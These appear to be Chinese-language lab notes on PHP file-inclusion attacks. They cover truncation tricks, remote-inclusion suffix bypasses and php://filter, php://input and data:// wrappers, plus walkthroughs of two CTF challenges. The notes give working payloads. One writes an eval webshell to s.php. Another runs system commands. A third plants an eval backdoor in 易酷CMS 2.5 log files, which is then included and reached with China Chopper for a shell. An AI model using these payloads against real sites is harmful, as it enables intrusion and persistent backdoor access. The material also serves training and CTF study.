文件包含
include.php
1.txt
<?phpinfo()?>
访问地址:127.0.0.1:8080/include.php?filenmae=1.txt
执行php效果
跨目录包含
受限制的包含
<?php
$file = $_GET['filename'];
include($file.".html");
?>
从报错信息得知在包含的文件后添加了.html
解决方法:
-
00截断 前提php版本小于5.3.4
-
长度截断:条件:windows,点号需要长于256;linux 长于4096
远程文件包含
在php.ini文件中allow_url_include设为on就开启远程包含
远程包含
远程包含绕过后缀添加.html
后缀添加?号
添加%23
文件包含伪协议玩法
文件读取
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
执行系统命令
http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system('ver')?>
写入一句话后门:<?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>’);?>
file协议读取文件
第二种执行代码:http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
南邮CTF文件包含
http://4.chinalover.sinaapp.com/web7/index.php?
根据名字判断可能是文件包含
直接文件读取伪协议
php://filter/convert.base64-encode/resource=index.php
base64解密,拿取flag
i春秋文件包含CTF
执行命令
读取文件:获取flag
易酷CMS本地文件包含
查询该CMS漏洞情况:
易酷CMS是一款影片播放CMS。该CMS2.5版本存在本地文件包含漏洞。我们可以利用这个漏洞,让其包含日志文件,然后再利用报错信息将一句话木马写入日志中。然后利用文件包含漏洞包含该日志文件,再用菜刀连接拿shell。
http://192.168.10.22/index.php?s=my/show/id/{~eval($_POST[x])} 写入日志文件一句话
本地日志文件就写入一句话
该日志是以时间日期命名的,用菜刀连接该日志文件,得到shell
http://192.168.10.22/index.php?s=my/show/id/…\temp\logs\21_06_6.log